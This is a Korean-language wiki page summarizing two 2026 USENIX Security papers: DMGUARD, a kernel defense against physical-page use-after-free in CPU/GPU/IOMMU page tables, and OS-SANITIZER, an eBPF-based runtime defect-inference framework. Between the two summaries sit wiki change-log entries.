기존의 CONFIG_PAGE_TABLE_CHECK(ptcheck)는 CPU-side Page table mapping을 중심으로 관리한다. 따라서 GPU allocator가 할당한 Page가 CPU page table에 Mapping되거나, GPU page table/IOMMU page table에 Mapping되는 경우를 충분히 추적하지 못한다. 또한 ptcheck는 Mapping status는 일부 추적하지만 Allocation status를 추적하지 않기 때문에 Map-after-free를 근본적으로 탐지하기 어렵다.

또한 Page management는 Performance-sensitive path에 있다. Page fault, mmap, munmap, fork, GPU memory management 등은 자주 호출되기 때문에, 단순히 Global lock을 걸거나 Heavy synchronization을 추가하는 방식은 실용적이지 않다. 따라서 이 논문의 Motivation은 Heterogeneous translation domain 전체에서 Page lifecycle을 정확히 추적하면서도 낮은 Overhead를 유지하는 것이다.

== Challenge ==
* '''Systems with multiple different page tables distribute lifecycle management across independent subsystems'''
** 현대 시스템에서는 CPU, GPU, IOMMU 등이 각각 독립적인 Page table 또는 Translation structure를 가질 수 있다.
** Page allocation은 GPU driver가 수행하고, CPU mapping은 Kernel이 수행하며, IOMMU mapping은 별도의 Subsystem이 수행할 수 있다.
** 이처럼 Page lifecycle이 여러 Subsystem에 분산되어 있기 때문에, 어떤 Physical page가 아직 Mapping되어 있는지 전역적으로 판단하기 어렵다.

* '''Page management resides in a performance-sensitive path where synchronization overhead across different subsystems is expensive'''
** Page table operation은 Page fault, fork, mmap/munmap, GPU memory operation 등 성능에 민감한 경로에서 수행된다.
** 따라서 CPU/GPU/IOMMU 사이의 모든 Mapping 상태를 Lock 기반으로 동기화하면 Runtime overhead가 커질 수 있다.
** DMGUARD는 이를 해결하기 위해 Lockless design을 사용하고, Atomic operation과 Memory barrier를 통해 Concurrent Map/Free race를 막는다.

* '''The kernel provides low-level mapping interfaces that bypass standard page management mechanisms'''
** Linux kernel은 VM_PFNMAP과 같이 Page descriptor나 Reference counting을 우회하는 Low-level PFN-based mapping interface를 제공한다.
** 이러한 Interface는 MMIO처럼 일반 Buddy allocator가 관리하지 않는 Memory를 Mapping하기 위해 필요하지만, Device driver가 Buddy allocator에서 온 Page에도 이를 사용하면 Reference count가 제대로 갱신되지 않을 수 있다.
** 결과적으로 Page가 아직 Mapping되어 있음에도 Free되거나, 이미 Free된 PFN을 다시 Mapping하는 문제가 생길 수 있다.

* '''Correctness under concurrency is non-trivial'''
** Map과 Free가 서로 다른 CPU core 또는 Subsystem에서 동시에 발생할 수 있다.
** Weak memory model을 가진 ARM/RISC-V에서는 Instruction reordering 때문에 MapCount update와 PageTag check의 순서가 뒤바뀔 수 있다.
** DMGUARD는 LKMM(Linux Kernel Memory Model)을 기준으로 Memory barrier와 Atomic operation을 배치하여, Concurrent Map-Free 상황에서도 Dangling mapping이 생기지 않도록 설계한다.

== Background ==
; Physical-page use-after-free
* Traditional heap use-after-free는 Virtual address space 안의 Pointer가 이미 Free된 Object를 가리키는 문제이다.
* Physical-page use-after-free는 Page table entry가 이미 Free되었거나 다른 목적으로 Reallocation된 Physical page를 계속 가리키는 문제이다.
* 따라서 문제의 위치가 Object allocator가 아니라 Address translation layer이다.
* 공격자는 Page spraying을 통해 Freed physical page가 Attacker-controlled content로 재할당되도록 유도할 수 있다.
* 그 결과 User process가 Dangling mapping을 통해 Kernel page table, Credential structure 등 민감한 Physical memory를 접근할 수 있다.

; Dangling mapping
* Dangling mapping은 Page table entry가 이미 Free된 Physical page를 계속 가리키는 상태이다.
* 이 상태에서 Processor가 해당 Virtual address에 접근하면, 실제로는 Free되었거나 다른 용도로 재사용된 Physical page에 접근하게 된다.
* 논문은 Dangling mapping을 Physical-page UAF의 직접적인 원인으로 본다.

; Free-before-unmap
* Page가 Page table에 아직 Mapping되어 있는데 먼저 Free되는 경우이다.
* 정상적인 순서는 Unmap(P) 이후 Free(P)이다.
* 하지만 Free(P)가 Unmap(P)보다 먼저 발생하면 기존 Page table entry가 Freed page를 계속 가리키게 된다.
* DMGUARD는 Free 시점에 MapCount가 0인지 확인하여 이를 탐지한다.

; Map-after-free
* 이미 Free된 Page reference를 사용해서 Mapping을 만드는 경우이다.
* 예를 들어 Old struct page* 또는 Old PFN이 남아 있고, 이 Reference를 이용해 다시 PTE를 만들면 Freed page에 대한 Mapping이 생성될 수 있다.
* DMGUARD는 PageTag와 RefTag를 비교하여 Reference가 현재 Allocation cycle에 속하는지 확인한다.

; CVE-2025-0072 사례
* 논문은 Mali GPU driver의 CVE-2025-0072를 대표적인 Real-world example로 제시한다.
* Mali driver는 mmap() 과정에서 GPU command buffer를 위한 Virtual address를 예약하고, GPU page allocator에서 Page를 할당한 뒤 queue->phys에 Physical address를 저장한다.
* 실제 CPU mapping은 Lazy하게 Page fault 시점에 생성된다.
* 취약한 경로에서는 두 번째 mmap()이 queue->phys를 새 Page로 덮어쓴 뒤, 첫 번째 mmap region을 munmap할 때 실제 Mapping은 제거되지 않지만 queue->phys가 가리키는 두 번째 Page가 Free된다.
* 그 결과 VA2 -> PA2 Mapping이 CPU page table에 남아 있는데 PA2가 Free되어 Free-before-unmap 취약점이 발생한다.

== Main Idea ==
DMGUARD의 핵심 아이디어는 Physical page의 Lifecycle을 State machine으로 표현하고, 각 State transition이 올바른 순서로 일어나는지 Runtime에 검사하는 것이다.

Page는 크게 다음 상태를 가진다.

* '''Freed-Unmapped'''
** Page allocator의 Free pool에 있는 상태이다.
** 어떤 Page table에도 Mapping되어 있지 않다.
** Virtual address를 통해 접근할 수 없다.

* '''Allocated-Unmapped'''
** Page allocator에서 할당되었지만 아직 어떤 User-space page table에도 Mapping되지 않은 상태이다.
** Kernel은 struct page* 또는 PFN을 통해 이 Page를 참조할 수 있지만, User process는 아직 접근할 수 없다.

* '''Allocated-Mapped'''
** Page가 할당되어 있고, 하나 이상의 Page table entry가 이 Physical page를 가리키는 상태이다.
** CPU page table, GPU page table, IOMMU page table 등 여러 Translation domain에서 동시에 Mapping될 수 있다.

정상적인 Lifecycle은 다음과 같다.

* Freed-Unmapped -> Allocated-Unmapped
** Alloc(P)에 의해 Page가 할당된다.

* Allocated-Unmapped -> Allocated-Mapped
** Map(P)에 의해 Page table entry가 생성된다.

* Allocated-Mapped -> Allocated-Unmapped
** Unmap(P)에 의해 모든 Mapping이 제거된다.

* Allocated-Unmapped -> Freed-Unmapped
** Free(P)에 의해 Page가 allocator로 반환된다.

DMGUARD는 이 State machine에서 잘못된 Transition을 탐지한다.

* '''Free-before-unmap'''
** Allocated-Mapped 상태의 Page가 Unmap 없이 Free되는 경우이다.
** 즉, Allocated-Mapped -> Freed-Unmapped로 바로 가는 잘못된 Transition이다.
** DMGUARD는 Free(P) 시점에 MapCount(P) != 0이면 이를 Free-before-unmap으로 판단한다.

* '''Map-after-free'''
** Freed-Unmapped 상태의 Page reference를 이용해서 Mapping을 만드는 경우이다.
** 즉, Freed-Unmapped -> Allocated-Mapped처럼 Allocation 없이 Mapping이 만들어지는 잘못된 Transition이다.
** DMGUARD는 Map(P) 시점에 PageTag(P)와 RefTag(P)가 다르면 이를 Map-after-free로 판단한다.

이를 위해 DMGUARD는 두 종류의 Metadata를 사용한다.

* '''MapCount'''
** Physical page마다 유지되는 Counter이다.
** User-space Mapping이 생성될 때 증가하고, Mapping이 제거될 때 감소한다.
** CPU page table뿐 아니라 GPU page table, IOMMU page table의 Mapping도 함께 반영한다.
** Page를 Free할 때 MapCount가 0이 아니면 아직 Dangling mapping이 존재할 수 있으므로 Free-before-unmap으로 탐지한다.

* '''PageTag / RefTag'''
** PageTag는 Physical page의 현재 Allocation cycle을 나타내는 Per-page tag이다.
** RefTag는 struct page* 또는 PFN 같은 Page reference에 붙는 Tag이다.
** Page가 Allocate될 때 PageTag를 새 Random value로 갱신하고, 그 Page를 가리키는 Reference에는 같은 RefTag를 부여한다.
** Page가 Free되면 PageTag를 다시 갱신하여 Old reference를 무효화한다.
** Mapping을 만들 때 PageTag와 RefTag가 일치하지 않으면, Old reference를 통한 Map-after-free로 판단한다.

즉, DMGUARD는 Mapping status는 MapCount로 추적하고, Allocation status는 PageTag/RefTag로 추적한다. 이 두 정보를 결합하여 “Freed page가 Mapping되거나, Mapped page가 Free되는 상태”를 Runtime에 막는다.

== Design ==
DMGUARD의 설계는 크게 State machine, Twofold state tracking, Lockless integration, Kernel/GPU driver instrumentation으로 구성된다.

=== Page Lifecycle State Machine ===
DMGUARD는 각 Physical page의 상태를 Allocation status와 Mapping status의 조합으로 본다.

* Allocation status
** Freed
** Allocated

* Mapping status
** Unmapped
** Mapped

이 조합을 통해 Page는 Freed-Unmapped, Allocated-Unmapped, Allocated-Mapped 상태를 가진다. Freed-Mapped 상태는 존재해서는 안 되는 Invalid state이다. Physical-page UAF는 결국 Freed-Mapped 상태가 만들어지는 문제로 볼 수 있다.

DMGUARD의 목표는 Runtime에 Page operation을 감시하여 Freed-Mapped 상태가 생기기 전에 중단하는 것이다.

=== Tracking Mapping Status with MapCount ===
MapCount는 Page가 몇 개의 User-space Mapping을 가지고 있는지를 나타낸다.

* Map(P)
** Page가 User-space page table에 Mapping되면 MapCount(P)를 증가시킨다.

* Unmap(P)
** Page의 Mapping이 제거되면 MapCount(P)를 감소시킨다.

* Free(P)
** Page를 Free하기 전에 MapCount(P)를 확인한다.
** MapCount(P)가 0이면 안전하게 Free할 수 있다.
** MapCount(P)가 0보다 크면 아직 Mapping이 남아 있으므로 Free-before-unmap으로 탐지한다.

이 방식은 Reference counting과 유사하지만, 일반적인 Object reference count가 아니라 Page table mapping의 개수를 추적한다는 점이 중요하다. 또한 CPU page table뿐 아니라 GPU/IOMMU page table의 Mapping까지 포함한다.

=== Tracking Allocation Status with PageTag / RefTag ===
MapCount만으로는 Map-after-free를 막을 수 없다. 이미 Free된 Page reference가 남아 있고, 이를 이용해 Mapping을 만들면 MapCount는 새로 증가할 수 있기 때문이다. 따라서 DMGUARD는 Allocation cycle을 구분하기 위해 Tagging을 사용한다.

* PageTag
** Physical page의 Per-page metadata에 저장된다.
** 현재 Allocation cycle을 나타낸다.
** Page가 Allocate되거나 Free될 때 새 Random tag로 갱신된다.

* RefTag
** struct page* 또는 PFN 같은 Page reference에 저장된다.
** 해당 Reference가 만들어졌을 때의 PageTag를 보존한다.
** ARM64에서는 TBI(Top Byte Ignore)를 활용하여 struct page*의 Top byte에 RefTag를 저장한다.

Mapping을 만들 때 DMGUARD는 PageTag(P)와 RefTag(P)를 비교한다.

* PageTag(P) == RefTag(P)
** Reference가 현재 Allocation cycle의 Page를 가리키므로 Mapping을 허용한다.

* PageTag(P) != RefTag(P)
** Reference가 Old allocation cycle의 Stale reference이므로 Map-after-free로 탐지한다.

논문에서는 8-bit Tag를 사용한다. 하나의 값은 Default tag로 예약하고, 나머지 값을 Random하게 사용한다. 이 때문에 일반적인 Reallocation 이후 Map-after-free에는 1/255 확률의 Tag collision 가능성이 있다. 그러나 Free 직후 바로 Mapping하는 Immediate map-after-free의 경우 이전 Tag와 다른 값을 강제하여 100% 탐지한다고 설명한다.

=== Lockless Integration ===
Page management path는 매우 성능에 민감하므로 DMGUARD는 Global lock을 사용하지 않는다. 대신 Atomic operation과 Memory barrier를 사용하여 Concurrent operation의 Correctness를 보장한다.

DMGUARD의 핵심 Operation은 다음과 같다.

* dmcAlloc()
** 기존 Alloc()을 호출해 Page를 할당한다.
** PageTag를 새 값으로 갱신한다.
** 반환되는 struct page* 또는 PFN에 같은 RefTag를 설정한다.

* dmcMap()
** MapCount를 증가시킨다.
** Memory barrier를 수행한다.
** PageTag와 RefTag를 비교한다.
** Tag가 일치하면 실제 Map(P)를 수행한다.
** Tag가 다르면 Map-after-free로 판단한다.

* dmcUnmap()
** 실제 Unmap(P)를 수행한다.
** MapCount를 감소시킨다.
** MapCount가 음수가 되면 잘못된 Unmap으로 판단한다.

* dmcFree()
** PageTag를 먼저 갱신하여 기존 Reference를 무효화한다.
** Memory barrier를 수행한다.
** MapCount가 0인지 확인한다.
** MapCount가 0이면 실제 Free(P)를 수행한다.
** MapCount가 0보다 크면 Free-before-unmap으로 판단한다.

이 순서는 Concurrent Map-Free race를 막기 위해 중요하다. 예를 들어 dmcMap에서 MapCount 증가가 PageTag check보다 뒤로 Reorder되면, 동시에 수행되는 dmcFree가 MapCount를 0으로 보고 Page를 Free할 수 있다. DMGUARD는 Memory barrier를 통해 이러한 Reordering을 막는다.

논문은 이 Lockless design이 x86, ARM, RISC-V 등 Linux가 지원하는 Architecture의 Memory model에서도 안전하게 동작하는지 LKMM(Linux Kernel Memory Model) Litmus test로 검증했다고 주장한다.

=== Integration with Kernel and GPU Drivers ===
DMGUARD는 Linux kernel과 GPU driver의 Page operation interface에 통합된다.

* Linux kernel
** Map: set_pte_at
** Unmap: ptep_get_and_clear, ptep_get_and_clear_full
** Alloc: post_alloc_hook
** Free: free_pages_prepare

* Mali GPU driver
** Map: entry_set_ate, entry_set_pte
** Unmap: entries_invalidate
** Alloc: kbase_mem_pool_alloc, kbase_mem_pool_alloc_pages 등
** Free: kbase_mem_pool_free, kbase_mem_pool_free_pages 등

* Adreno GPU driver
** Map: __arm_lpae_set_pte, arm_lpae_init_pte
** Unmap: __arm_lpae_set_pte, arm_lpae_init_pte, __arm_lpae_free_pgtable, __arm_lpae_unmap
** Alloc: kgsl_pool_alloc_page
** Free: kgsl_pool_free_page

구현 규모는 Core DMGUARD가 약 400 LOC, Tagged PFN macro가 약 560 LOC, Mali GPU driver 변경이 약 90 LOC, Adreno GPU driver 변경이 약 80 LOC이다. 이는 DMGUARD가 기존 Kernel 구조를 크게 바꾸기보다는 주요 Page lifecycle operation에 작은 Instrumentation을 추가하는 방식임을 보여준다.

=== Comparison with CONFIG_PAGE_TABLE_CHECK ===
CONFIG_PAGE_TABLE_CHECK는 CPU page table의 Mapping status를 일부 추적할 수 있지만, DMGUARD와 비교하면 다음 한계가 있다.

* CPU page allocator와 CPU page table 사이의 Free-before-unmap은 탐지할 수 있다.
* 그러나 CPU page와 Device mapping, Device page와 CPU mapping, Device page와 Device mapping은 충분히 다루지 못한다.
* Allocation status를 추적하지 않으므로 Map-after-free를 탐지하지 못한다.
* Concurrent Map-Free race에 대한 Synchronization이 부족하여 TOCTOU-style vulnerability가 가능하다.

반면 DMGUARD는 Allocation status와 Mapping status를 모두 추적하고, CPU/GPU/IOMMU context를 함께 고려하며, Lockless synchronization으로 Concurrent race까지 다루려고 한다.

== Evaluation ==
논문은 DMGUARD를 Security, Performance, Robustness 측면에서 평가하였다.

=== Evaluation Setup ===
DMGUARD는 세 가지 환경에서 평가되었다.

* QEMU AArch64 환경
** Linux kernel v6.6.0
** Mali GPU driver
** Dummy GPU device(MALI_NO_MALI)

* Pixel 8
** Android 15
** Linux kernel v6.1.99
** ARMv8.5 CPU
** Mali GPU

* Pixel 3 XL
** Android 12
** Linux kernel v4.9.270
** ARMv8.2 CPU
** Qualcomm Adreno GPU

비교 대상은 다음과 같다.

* Baseline
** Dangling mapping mitigation이 없는 기본 Kernel configuration

* ptcheck
** Linux CONFIG_PAGE_TABLE_CHECK

* DMGUARD
** 본 논문에서 제안한 Runtime mitigation

=== Security Evaluation ===
Security evaluation에서는 총 24개의 Physical-page use-after-free vulnerability를 대상으로 DMGUARD와 ptcheck를 비교하였다.

* 19개는 Real-world vulnerability이다.
** Linux kernel
** Mali GPU driver
** Adreno GPU driver
** PowerVR GPU driver

* 5개는 Synthetic vulnerability이다.
** Map-after-free case
** Race condition 기반 Free-before-unmap case

논문은 이 중 15개를 실제 환경에서 Empirical evaluation하였다. 나머지 9개는 Hardware 부족, GPU driver virtual environment 미지원, Kernel/driver version mismatch 등의 이유로 직접 재현하지 못하고 Theoretical analysis를 수행하였다.

Empirical evaluation 결과는 다음과 같다.

* DMGUARD
** 15개 중 15개 모두 탐지하였다.

* ptcheck
** 15개 중 5개만 탐지하였다.

ptcheck가 탐지한 경우는 주로 CPU page가 CPU page table에 Mapping된 Free-before-unmap case이다. 반면 GPU page allocator, GPU page table, IOMMU page table이 관련된 경우나 Map-after-free case는 탐지하지 못했다.

Theoretical analysis 대상 9개에서도 논문은 DMGUARD가 설계상 모두 탐지 가능하다고 분석하였다. 이 9개는 모두 GPU page가 GPU 또는 IOMMU context에 Mapping되는 형태라 ptcheck는 탐지하지 못한다고 설명한다.

=== False Positives and False Negatives ===
논문은 Performance evaluation과 Robustness test 중 DMGUARD가 False alarm을 발생시키지 않았다고 보고한다. 또한 Known vulnerability test에서 모든 Empirical case를 탐지했기 때문에 실험상 False negative도 관찰되지 않았다고 한다.

그러나 설계상 False positive와 False negative 가능성은 존재한다.

* MapCount 관련 False positive
** 실제로는 Unmap되었지만 MapCount가 감소하지 않으면, Free 시점에 Dangling mapping으로 잘못 판단할 수 있다.

* MapCount 관련 False negative
** 실제로 Mapping되었지만 MapCount가 증가하지 않으면, Free-before-unmap을 놓칠 수 있다.

* PageTag 관련 False negative
** Mapping 시점에 Tag check가 빠지면 Map-after-free를 놓칠 수 있다.
** Page가 Free/Reallocation될 때 Tag가 갱신되지 않으면 Stale reference를 탐지하지 못할 수 있다.
** 8-bit Tag collision이 발생하면 Old reference의 RefTag와 New PageTag가 우연히 일치할 수 있다.

* Instrumentation coverage 문제
** Driver가 Standard API를 거치지 않고 Page table을 직접 조작하면 DMGUARD가 상태 변화를 추적하지 못할 수 있다.

=== Finding Unknown Vulnerabilities ===
논문은 Pixel 8에서 DMGUARD를 활성화한 상태로 Syzkaller를 실행하였다. 이 과정에서 Upstream Mali GPU driver의 Dangling mapping issue를 발견하였다.

해당 Issue는 Process가 GPU-allocated region에 대해 명시적으로 munmap()을 호출하지 않고 종료될 때, Physical page가 Free된 뒤에도 GPU page table entry가 남는 문제였다. 연구진은 이를 ARM에 보고했고, ARM은 Dangling mapping은 존재하지만 GPU task가 이미 종료된 뒤 생성되기 때문에 Exploitable하지 않다고 판단하였다.

이 결과는 DMGUARD가 Known vulnerability를 막는 방어 기법일 뿐 아니라, 실제 Kernel/Driver의 Page lifecycle bug를 찾는 Detection tool로도 사용할 수 있음을 보여준다.

=== Performance Evaluation ===
Performance evaluation은 Pixel 8에서 수행되었다.

; LMBench
* DMGUARD의 Geomean overhead는 2.96%이다.
* ptcheck의 Geomean overhead는 1.99%이다.
* Fork 계열 Benchmark에서 상대적으로 높은 Overhead가 나타났다.
** Process fork+exit: 10.05%
** Process fork+execve: 12.58%
** Process fork+/bin/sh -c: 4.81%
* 이는 Fork 과정에서 많은 Page table entry를 설정하기 때문이라고 설명한다.

; Phoronix Test Suite
* DMGUARD의 Geomean overhead는 1.26%이다.
* Workload는 OpenSSL, PyBench, Apache, Nginx, Redis, Linux unpack/build 등을 포함한다.
* 실사용 Application workload에서는 Overhead가 낮은 편이다.

; Geekbench 6
* CPU Single-core
** Baseline: 1629.45
** DMGUARD: 1622.27(-0.44%)

* CPU Multi-core
** Baseline: 4605.09
** DMGUARD: 4545.73(-1.29%)

* GPU OpenCL
** Baseline: 7691.36
** DMGUARD: 7674.18(-0.22%)

GPU workload에서도 Overhead가 낮다는 점은 DMGUARD가 GPU page table까지 추적하면서도 Runtime cost가 크지 않음을 보여준다. CPU Multi-core overhead는 Memory barrier로 인한 영향이 상대적으로 큰 것으로 해석된다.

; Kernel boot time
* Baseline: 0.510s
* DMGUARD: 0.528s(+3.53%)

; Application cold-start latency
* AOSP system app 10개에서 Geomean overhead는 3.10%이다.
* 최대 Overhead도 수 ms~수십 ms 수준으로 보고된다.
* 논문은 Boot time과 Cold-start overhead는 One-time cost이므로 지속적인 Runtime performance에는 큰 영향을 주지 않는다고 설명한다.

; Memory overhead
* DMGUARD는 ptcheck 대비 Page당 8 bytes의 추가 Metadata를 사용한다.
* Pixel 8 기준 Baseline 대비 Memory overhead는 약 1.05%이다.
* 논문은 전체 7,739,468 KB memory에서 약 50 MB 수준의 추가 사용량으로, 현대 시스템에서는 작은 비용이라고 주장한다.

=== Robustness Evaluation ===
DMGUARD는 Linux kernel의 Page management path를 수정하므로 Stability가 중요하다. 논문은 Pixel 8에서 Android Vendor Test Suite(VTS) kernel test plan을 10회 반복 실행하였다.

* Kselftest와 Linux Test Project(LTP)를 포함한 vts-kernel test를 수행하였다.
* 10회 반복 실행 중 Crash나 Hang이 발생하지 않았다.
* 모든 Test가 통과하였다.
* Performance evaluation 중에도 Unexpected error가 발생하지 않았다.

이를 통해 논문은 DMGUARD가 실제 Android kernel에서 Stability를 해치지 않는다고 주장한다.

== [[Conculsion]] ==
우선 메모리 Vulnerability domain을 새로 찾았다고 나오지만, 사실 pte check에서 체크하고 있던 잘 알려진 문제 였다는 점, 그리고 전반적으로 Design이 pte check의 확장 (이기종 시스템으로의)로 보인다는 점이 주된 한계로 들수 있다. 그러나 이기종 시스템에서 발생할 수 있는 UAF문제를 시기 적절하고 & 최초로 상정하였다는 점에서 Motivation이 납득 가능하고, Mechanisms측면에서는 이 적절한 Motivation을 효율적으로 풀 수 있는 최적의 방법이라는 점이 이 논문의 장점이라고 생각한다.

DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities

2026-04-28T12:29:16Z

Ahn9807: 새 문서: 분류:USENIX Security {{Paper|title=DMGUARD: Safeguarding Kernels from Physical-Page Use-After-Free Vulnerabilities|author=Juhee Kim, Jaeyoung Chung, Dae R. Jeong, Byoungyoung Lee|year=2026|conference=USENIX Security}} == 개요 == Physical-page use after free라는 Page table entry에서 일어나는 Use after free를 새로운 Vulnerability도메인으로 정의하고, 이를 막을 수 있는 Reference counting방식의 기법을 제시하였다. == Motivation & Impo...

OS-SANITIZER: System-wide Latent Defect Inference in Linux Applications

2026-04-27T11:48:52Z

Ahn9807:

[[분류:USENIX Security]]

{{Paper|title=OS-SANITIZER: System-wide Latent Defect Inference in Linux Applications|author=Addison Crump addison.crump@cispa.de CISPA Sahil Sihag sahil.sihag@cispa.de CISPA Florian Bauckholt florian.bauckholt@cispa.de CISPA Keno Hassler keno.hassler@cispa.de CISPA Thorsten Holz thorsten.holz@mpi-sp.org MPI-SP|year=2026|conference=USENIX Security}}

== 개요 ==
[[eBPF]]를 활용하여 커널 및 애플리케이션의 런타임 동작을 관찰하고, 해당 동작이 실제 failure로 이어지기 전에 잠재적인 defect가 될 수 있는지를 추론하는 Framework를 제안하였다. 즉, 기존 sanitizer가 주로 실제 fault나 failure가 발생한 이후 이를 탐지하는 데 초점을 맞추었다면, 본 논문은 정상적으로 실행되는 것처럼 보이는 런타임 동작에서도 향후 보안 취약점이나 correctness 문제로 이어질 수 있는 패턴을 탐지하고자 한다.

== Motivation & Importance ==
기존의 static analyzer는 정적 분석 시점에 얻을 수 있는 정보를 바탕으로 버그를 찾는다. 이와 유사하게, 본 논문은 런타임에만 알 수 있는 정보들을 활용하여 defect를 추론하는 '''Dynamic Defect Inference'''가 가능하다고 주장한다.

특히 많은 결함은 코드 자체만으로는 명확히 드러나지 않고, 실제 실행 환경, 권한, 파일 시스템 상태, path traversal 과정, multi-threaded access, library usage pattern 등에 따라 문제가 된다. 따라서 런타임 context를 관찰할 수 있다면, 기존 static analysis나 sanitizer가 놓치는 잠재적 결함을 찾을 수 있다.

본 논문은 eBPF가 이러한 Dynamic Defect Inference를 수행하기에 적합한 기반임을 보이고자 한다. eBPF는 커널 내부 및 user-space function entry/exit에 hook을 삽입할 수 있고, BPF map을 통해 여러 이벤트 사이의 context를 축적할 수 있기 때문이다. 이를 통해 eBPF가 단순한 tracing이나 monitoring 도구를 넘어, runtime information을 기반으로 defect를 추론하는 testing/inference framework로 사용될 수 있음을 보인다.

== Challenge ==
* '''Benign execution에서 defect를 추론해야 한다.'''
** 실제 crash나 fault가 발생한 것이 아니므로, 관찰되는 동작이 진짜 defect인지 단순한 code smell인지 구분하기 어렵다.
** 따라서 heuristic 기반의 판단이 필요하며, false positive를 완전히 제거하기 어렵다.

* '''Runtime context를 정확히 수집해야 한다.'''
** 일부 defect는 단일 system call이나 library call만으로 판단할 수 없다.
** 예를 들어 TOCTOU나 path traversal 문제는 access, open, path resolution, permission check 등 여러 이벤트를 종합해야 한다.

* '''System-wide monitoring의 overhead를 낮춰야 한다.'''
** OS-SANITIZER는 특정 프로그램 하나만 분석하는 것이 아니라, 시스템 전체에서 발생하는 이벤트를 장기간 관찰하는 것을 목표로 한다.
** 따라서 tracing overhead와 report volume을 낮게 유지해야 한다.

* '''eBPF의 제한 안에서 inference logic을 구현해야 한다.'''
** eBPF verifier는 bounded execution과 제한된 memory access를 요구한다.
** 복잡한 analysis logic이나 hot user-space function monitoring은 높은 overhead 또는 verifier 제약으로 인해 실용적이지 않을 수 있다.

== Background ==
; 소프트웨어 테스팅의 단계
* Software testing은 다음 5단계로 나눌 수 있다: Errors, Code smells, Defects, Faults, and Failures.
* Error: Developer나 User에 의한 실수
* Code smell: 당장 failure를 만들지는 않지만, 향후 defect로 이어질 수 있는 위험한 패턴
* Defect: Program에 잘못된 영향을 끼칠 수 있는 에러
* Fault: Defect가 실제 program state에 잘못된 영향을 끼친 경우
* Failure: Fault가 외부에서 관찰 가능한 잘못된 동작이나 safety guarantee 위반으로 드러난 경우

; Dynamic Defect Inference에 대한 Related Work
: '''Program-Level Inference''': Compiler의 도움을 받아 dynamic testing을 수행하는 방식이다. 대표적으로 AddressSanitizer, MemorySanitizer 등이 있다. 이러한 방식은 강력하지만 recompilation이 필요하고, 종종 performance overhead가 커서 production 환경보다는 testing 환경에서 주로 사용된다는 한계가 있다.

: '''Interprocedural Inference''': Runtime에서 procedure 간 information flow를 추적하여 버그를 탐지하는 방식이다. Library call이나 network protocol의 사용 순서를 관찰하여 protocol violation을 찾는 방식으로 이해할 수 있다.

: '''OS-Integrated Inference''': SELinux와 같이 OS의 기능을 활용하여 이상 동작을 감지하거나 policy violation을 탐지하는 방식이다. 다만 이러한 방식은 일반적으로 security policy enforcement에 가깝고, 다양한 defect class를 추론하는 데에는 제한적일 수 있다.

: '''Runtime Predictive Analysis''': Runtime에서 얻을 수 있는 정보를 바탕으로 향후 발생할 수 있는 오류를 예측하거나 탐지하는 방식이다. 대표적으로 ThreadSanitizer와 같은 race detection 기법이 있다.

== Main Idea ==
eBPF를 통해 kernel 및 user-space program의 런타임 동작을 수집하고, BPF map에 context를 축적한 뒤, heuristic 기반의 검증기를 통해 해당 동작이 잠재적 defect인지 판단한다.

핵심 아이디어는 static analysis의 code smell 개념을 runtime으로 가져오는 것이다. 즉, 실제 failure가 발생하지 않았더라도, 런타임에서 관찰된 실행 패턴이 특정 조건에서는 취약점이나 correctness 문제로 이어질 수 있다면 이를 report한다.

== Design ==
[[파일:USENIX_Security_2026_OS-SANITIZER_Figure_2.png|링크=파일:USENIX_Security_2026_OS-SANITIZER_Figure_2.png|오른쪽|프레임없음]]

OS-SANITIZER는 eBPF program을 kernel function 또는 user-space function의 entry/exit point에 부착하여 runtime event를 수집한다. 각 eBPF program은 관찰한 정보를 BPF map에 저장하고, 이후 관련 operation이 끝났을 때 map에 축적된 context를 바탕으로 heuristic 검사를 수행한다.

각 eBPF pass는 대체로 다음 네 가지 역할을 가진다.

* Suspicious code region report
* Context enrichment
* Stale context cleanup
* Known false positive filtering

이를 통해 논문은 다음과 같은 pass들을 구현하였다.

'''1. Fault-Prone System Interactions'''

* access: access/stat 이후 open 사용으로 인한 TOCTOU 가능성 탐지
* fixed_mmap: overlapping fixed mmap 탐지
* rwx_mem: readable/writable/executable memory allocation 탐지

'''2. Fault-Prone Library Usage'''

* filep_unlocked: multi-thread 환경에서 unsynchronized FILE* access 탐지
* gets: unsafe gets usage 탐지
* snprintf: snprintf 관련 information leak 또는 footgun 탐지
* printf_mut: mutable string을 format string으로 사용하는 경우 탐지
* system_mut: mutable command string을 system()으로 실행하는 경우 탐지
* system_abs: absolute path 없이 system command를 실행하는 경우 탐지

'''3. Environmental Defects'''

* sec_file_open: unsafe file permission 또는 unsafe open pattern 탐지
* intercept_path: attacker가 path traversal을 가로챌 수 있는 상황 탐지

'''4. Unsafe Memory-Manipulating Function Usage'''

* memcpy
* strcpy
* strncpy
* sprintf

== Result ==
논문은 microbenchmark, SPEC CPU 2017, BrowserBench Speedometer, reproduction study, long-term desktop deployment를 통해 OS-SANITIZER를 평가하였다.

중요한 결과는 다음과 같다.

* System interaction 중심의 pass들은 대체로 낮은 overhead로 동작한다.
* 반면 memcpy, strcpy, strncpy, sprintf와 같은 hot user-space function을 uprobe로 추적하는 pass들은 overhead가 커서 practical deployment에는 부적합하다.
* 기존 CUU(check-use-use) TOCTOU detection model을 OS-SANITIZER pass로 재구현하여, eBPF 기반 framework가 기존 kernel modification 기반 testing logic을 더 쉽게 표현할 수 있음을 보였다.
* 장기 사용 실험에서 Golang, Docker, Kubernetes, runc, dotconf, Firefox, Chrome, Rust, GDB, NetworkManager 등 실제 software stack에서 여러 latent defect를 발견하였다.

== Contribution ==
* '''Dynamic Defect Inference라는 문제 설정을 제시하였다.'''
** 기존 dynamic testing이 실제 fault나 failure를 찾는 데 집중했다면, 본 논문은 benign execution에서 defect 가능성을 추론하는 방향을 제시하였다.

* '''eBPF를 testing/inference tool로 활용하였다.'''
** eBPF를 단순 tracing이나 security monitoring이 아니라, runtime context를 축적하고 defect-level report를 생성하는 framework로 사용하였다.

* '''System-wide runtime context를 활용하였다.'''
** user-space function, kernel function, LSM hook 등을 조합하여 단일 프로그램 내부에서는 알기 어려운 실행 환경 정보를 활용하였다.

* '''실제 software에서 latent defect를 발견하였다.'''
** 여러 mature software stack에서 실제 issue를 찾았다는 점이 논문의 실용성을 뒷받침한다.

== Criticize ==
* '''Heuristic 의존성이 크다.'''
** OS-SANITIZER는 실제 failure를 직접 관찰하는 것이 아니라 위험한 pattern을 추론한다.
** 따라서 false positive를 완전히 피하기 어렵고, 어떤 report가 진짜 defect인지 triage cost가 발생한다.

* '''False positive와 coverage를 정량화하기 어렵다.'''
